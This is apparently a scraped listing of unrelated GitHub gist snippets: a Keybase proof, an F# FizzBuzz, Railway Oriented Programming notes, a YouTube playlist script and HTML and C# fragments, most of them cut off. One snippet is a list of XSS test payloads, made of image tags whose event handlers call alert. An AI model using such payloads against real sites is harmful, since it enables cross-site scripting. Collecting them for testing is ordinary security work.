I hereby claim:
- I am irfancharania on github.
- I am irfancharania (https://keybase.io/irfancharania) on keybase.
- I have a public key ASD5Kkhbi2pPDSSu4pC8i30b-z1Y52tQZl2ieT95r1A1hwo
To claim this, I am signing this object:
javascript:void(window.location.href='http://screenscraper.herokuapp.com/?url='+window.location.href) |
let FizzBuzz x = | |
match x % 3, x % 5 with | |
| 0, 0 -> "FizzBuzz" | |
| 0, _ -> "fizz" | |
| _, 0 -> "buzz" | |
| _ -> sprintf "%d" x | |
let n = 100 | |
[1..n] |
I hereby claim:
To claim this, I am signing this object:
Full source: https://gist.github.com/mrange/aa9e0898492b6d384dd839bc4a2f96a1
Option<_>
is great for ROP (Railway Oriented Programming) but we get no info on what went wrong (the failure value is None
which carries no info).
With the introduction F# 4.1 we got Result<_, _>
a "smarter" Option<_>
as it allows us to pass a failure value.
However, when one inspects the signature of Result.bind
one sees a potential issue for ROP:
UPDATED 22.11.2022
It's been two years since the last update, so here's the updated working script as per the comments below.
Thanks to BryanHaley for this.
setInterval(function () {
video = document.getElementsByTagName('ytd-playlist-video-renderer')[0];
video.querySelector('#primary button[aria-label="Action menu"]').click();
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>WiFi Login</title> | |
<meta name="viewport" content="width=device-width, initial-scale=1"> | |
<!-- https://news.ycombinator.com/item?id=26923316 --> | |
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🔐</text></svg>"> | |
<style> | |
body, textarea { | |
font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif; |
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Data.SqlClient; | |
using System.Configuration; | |
using System.Data; | |
using System.Threading.Tasks; | |
namespace AsyncDatabaseCall.Models { |